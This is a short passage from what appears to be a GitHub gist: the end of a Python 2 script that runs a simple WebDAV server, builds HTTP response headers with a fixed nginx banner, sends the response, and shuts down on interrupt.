responseHeader += "Server: nginx/1.6.2\r\n" | |
responseHeader += "Date: {}\r\n".format(httpdate(datetime.now())) | |
#responseHeader += "Transfer-Encoding: chunked\r\n" | |
responseHeader += "Content-Length: {}\r\n".format(len(body)) | |
responseHeader += "Proxy-Connection: Keep-Alive\r\n" | |
responseHeader += "Connection: Keep-Alive\r\n\r\n" | |
#response = responseHeader + hex(len(body))[2:] + "\r\n" + body + "0\r\n" | |
response = responseHeader + body | |
print color("[+] Sending response") | |
print color("{}".format(response),'green') | |
connection.send(response) | |
finally: | |
connection.close() | |
except KeyboardInterrupt: | |
pass | |
finally: | |
print color("[!] Stopping WebDav Server") | |
tcps.close() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment